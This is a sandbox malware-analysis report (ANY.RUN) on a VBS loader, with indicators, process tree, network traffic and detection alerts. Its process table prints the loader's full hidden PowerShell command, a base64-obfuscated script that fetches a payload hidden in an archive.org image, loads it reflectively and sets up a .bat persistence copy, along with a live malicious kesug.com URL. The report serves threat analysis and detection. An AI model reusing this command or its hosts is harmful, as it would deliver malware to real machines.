| File name: | kimber3.kesug.com_arquivo_702ca5081a624c2289e8e5f091538c5a.txt.vbs |
| Full analysis: | https://app.any.run/tasks/f01632e3-731f-4b42-ac73-7efa1aadeec8 |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | April 29, 2025, 14:56:23 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/plain |
| File info: | Unicode text, UTF-8 text, with very long lines (23659), with CRLF line terminators |
| MD5: | 32BA1EE78874A80A23A0D09427D52AF6 |
| SHA1: | DEF4C7B6E7B776D2638ED064286414BFE62E030A |
| SHA256: | CFB51F2104257D7D5170F7A8D3BC432D6DAE11E02E77D7E0CA0DA9E26AE15BA1 |
| SSDEEP: | 192:2geRRpIFIx3lR3J9H7Vs5JTM7SgvkCNXosSBB8iTH+V62jJLYO713st68gEQfDJu:2gepL822HbUr06Ltlk+nnnnO |
MALICIOUS
Run PowerShell with an invisible window
- powershell.exe (PID: 7432)
Dynamically loads an assembly (POWERSHELL)
- powershell.exe (PID: 7432)
Downloads the requested resource (POWERSHELL)
- powershell.exe (PID: 7432)
PHISHING has been detected (SURICATA)
- svchost.exe (PID: 2196)
REVERSELOADER has been detected (SURICATA)
- powershell.exe (PID: 7432)
SUSPICIOUS
The process bypasses the loading of PowerShell profile settings
- wscript.exe (PID: 7372)
Executes script without checking the security policy
- powershell.exe (PID: 7432)
Runs shell command (SCRIPT)
- wscript.exe (PID: 7372)
Starts POWERSHELL.EXE for commands execution
- wscript.exe (PID: 7372)
Possibly malicious use of IEX has been detected
- wscript.exe (PID: 7372)
Base64-obfuscated command line is found
- wscript.exe (PID: 7372)
Probably obfuscated PowerShell command line is found
- wscript.exe (PID: 7372)
Uses base64 encoding (POWERSHELL)
- powershell.exe (PID: 7432)
Executing commands from a ".bat" file
- powershell.exe (PID: 7432)
Probability of fraudulent activity
- svchost.exe (PID: 2196)
Starts CMD.EXE for commands execution
- powershell.exe (PID: 7432)
The process executes via Task Scheduler
- wscript.exe (PID: 6640)
INFO
Converts byte array into Unicode string (POWERSHELL)
- powershell.exe (PID: 7432)
Uses string replace method (POWERSHELL)
- powershell.exe (PID: 7432)
Disables trace logs
- powershell.exe (PID: 7432)
Gets data length (POWERSHELL)
- powershell.exe (PID: 7432)
Checks proxy server information
- powershell.exe (PID: 7432)
Reads the software policy settings
- slui.exe (PID: 7624)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Total processes
139
Monitored processes
11
Malicious processes
3
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2196 | C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s Dnscache | C:\Windows\System32\svchost.exe | services.exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Host Process for Windows Services Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6640 | "wscript.exe" C:\ProgramData\safranine.bat | C:\Windows\System32\wscript.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Version: 5.812.10240.16384 Modules
| |||||||||||||||
| 7372 | "C:\WINDOWS\System32\WScript.exe" C:\Users\admin\AppData\Local\Temp\kimber3.kesug.com_arquivo_702ca5081a624c2289e8e5f091538c5a.txt.vbs | C:\Windows\System32\wscript.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.812.10240.16384 Modules
| |||||||||||||||
| 7396 | C:\WINDOWS\System32\slui.exe -Embedding | C:\Windows\System32\slui.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Activation Client Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7432 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c "$b64 = 'JABkAHIAbwBvAHAAZQBkACAAPQAgACcAdAB4AHQALgBjAGYAMQAwAGYANgA3ADMAYQA4ADUANQA4ADgANgBhAGIAMAAwADQAYgA2ADcAMABiADMAZgA0AGQAZgA5ADgAXwBvAHYAaQB1AHEAcgBhAC8AbQBvAGMALgBnAHUAcwBlAGsALgAzAHIAZQBiAG0AaQBrAC8ALwA6AHAAdAB0AGgAJwA7ACQAdwBhAG4AbAB5ACAAPQAgACQAZAByAG8AbwBwAGUAZAAgAC0AcgBlAHAAbABhAGMAZQAgACcAIwAnACwAIAAnAHQAJwA7ACQAcABsAGEAeQBsAGUAcwBzACAAPQAgACcAaAB0AHQAcABzADoALwAvAGEAcgBjAGgAaQB2AGUALgBvAHIAZwAvAGQAbwB3AG4AbABvAGEAZAAvAG4AZQB3AF8AaQBtAGEAZwBlAF8AMgAwADIANQAwADQAMQAzAC8AbgBlAHcAXwBpAG0AYQBnAGUALgBqAHAAZwAnADsAJABkAGkAcwBpAG4AdgBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABkAGkAcwBpAG4AdgBlAG4AdAAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJwBNAG8AegBpAGwAbABhAC8ANQAuADAAJwApADsAJAB0AGEAbgBnAGUAeQAgAD0AIAAkAGQAaQBzAGkAbgB2AGUAbgB0AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAHAAbABhAHkAbABlAHMAcwApADsAJABpAG4AYwBhAHMAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAdABhAG4AZwBlAHkAKQA7ACQAZwBlAG4AZQB0AGkAYwBzACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8AUwBUAEEAUgBUAD4APgAnADsAJABjAG8AdABoAHkAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBFAE4ARAA+AD4AJwA7ACQAdQBsAGMAdQBzACAAPQAgACQAaQBuAGMAYQBzAGUAcwAuAEkAbgBkAGUAeABPAGYAKAAkAGcAZQBuAGUAdABpAGMAcwApADsAJABEAGUAYwBlAG0AYgBlAHIAcwAgAD0AIAAkAGkAbgBjAGEAcwBlAHMALgBJAG4AZABlAHgATwBmACgAJABjAG8AdABoAHkAKQA7ACQAdQBsAGMAdQBzACAALQBnAGUAIAAwACAALQBhAG4AZAAgACQARABlAGMAZQBtAGIAZQByAHMAIAAtAGcAdAAgACQAdQBsAGMAdQBzADsAJAB1AGwAYwB1AHMAIAArAD0AIAAkAGcAZQBuAGUAdABpAGMAcwAuAEwAZQBuAGcAdABoADsAJAB1AG4AcwBpAHQAdABpAG4AZwAgAD0AIAAkAEQAZQBjAGUAbQBiAGUAcgBzACAALQAgACQAdQBsAGMAdQBzADsAJABjAG8AcgBzAGUAaQBuAHQAIAA9ACAAJABpAG4AYwBhAHMAZQBzAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHUAbABjAHUAcwAsACAAJAB1AG4AcwBpAHQAdABpAG4AZwApADsAJABjAGEAcgBvAGkAZwBuAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYwBvAHIAcwBlAGkAbgB0ACkAOwAkAGQAbwByAHQAbwB1AHIAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABjAGEAcgBvAGkAZwBuAGUAKQA7ACQAZQB4AGMAYQB2AGEAdABlAGQAIAA9ACAAWwBkAG4AbABpAGIALgBJAE8ALgBIAG8AbQBlAF0ALgBHAGUAdABNAGUAdABoAG8AZAAoACcAVgBBAEkAJwApAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIABAACgAJAB3AGEAbgBsAHkALAAnACcALAAnACcALAAnACcALAAnACcALAAnADEAJwAsACcAYwBtAGQAJwAsACcAJwAsACcAJwAsACcAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAJwAsACcAcwBhAGYAcgBhAG4AaQBuAGUAJwAsACcAYgBhAHQAJwAsACcAMQAnACwAJwAxACcALAAnAHAAbABlAGkAbwBtAGUAcgBvAHUAcwAnACwAJwAyACcALAAnACcAKQApAA==' -replace '','';$cmd = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($b64));Invoke-Expression $cmd;" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wscript.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7440 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7592 | C:\WINDOWS\system32\SppExtComObj.exe -Embedding | C:\Windows\System32\SppExtComObj.Exe | — | svchost.exe | |||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: KMS Connection Broker Version: 10.0.19041.3996 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7624 | "C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEvent | C:\Windows\System32\slui.exe | SppExtComObj.Exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows Activation Client Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7972 | "C:\Windows\System32\cmd.exe" /C copy *.bat "C:\ProgramData\safranine.bat" | C:\Windows\System32\cmd.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7980 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
Total events
6 719
Read events
6 719
Write events
0
Delete events
0
Modification events
Executable files
0
Suspicious files
1
Text files
2
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 7432 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_25ksmbqu.14b.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 7432 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_c1taifpj.kop.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 7432 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:C6F14EBE22EE7B0B3BA0C46EBC669089 | SHA256:0537246BE9677824F364BA443BF973861D020D7537B8F3E1F04AD75233FF6BDE | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
6
TCP/UDP connections
24
DNS requests
18
Threats
4
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
— | — | GET | 200 | 23.216.77.20:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
— | — | GET | 200 | 23.35.229.160:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
7432 | powershell.exe | GET | 200 | 185.27.134.34:80 | http://kimber3.kesug.com/arquivo_89fd4f3b076b400ba688558a376f01fc.txt | unknown | — | — | unknown |
6544 | svchost.exe | GET | 200 | 184.30.131.245:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
900 | SIHClient.exe | GET | 200 | 23.35.229.160:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
900 | SIHClient.exe | GET | 200 | 23.35.229.160:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
— | — | 4.231.128.59:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
— | — | 23.216.77.20:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
— | — | 23.35.229.160:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
2104 | svchost.exe | 4.231.128.59:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
2112 | svchost.exe | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
7432 | powershell.exe | 207.241.224.2:443 | archive.org | INTERNET-ARCHIVE | US | whitelisted |
7432 | powershell.exe | 207.241.233.30:443 | ia801700.us.archive.org | INTERNET-ARCHIVE | US | whitelisted |
3216 | svchost.exe | 172.211.123.249:443 | client.wns.windows.com | MICROSOFT-CORP-MSN-AS-BLOCK | FR | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
google.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
settings-win.data.microsoft.com |
| whitelisted |
archive.org |
| whitelisted |
ia801700.us.archive.org |
| whitelisted |
client.wns.windows.com |
| whitelisted |
kimber3.kesug.com |
| unknown |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2196 | svchost.exe | Possible Social Engineering Attempted | PHISHING [ANY.RUN] Suspected Phishing domain by CrossDomain ( .kesug .com) |
2196 | svchost.exe | Possible Social Engineering Attempted | PHISHING [ANY.RUN] Suspected Fake Market Domain (kesug .com) |
7432 | powershell.exe | Potentially Bad Traffic | PAYLOAD [ANY.RUN] Reverse Base64 Encoded EXE Inbound |
7432 | powershell.exe | A Network Trojan was detected | ET MALWARE Reverse Base64 Encoded MZ Header Payload Inbound |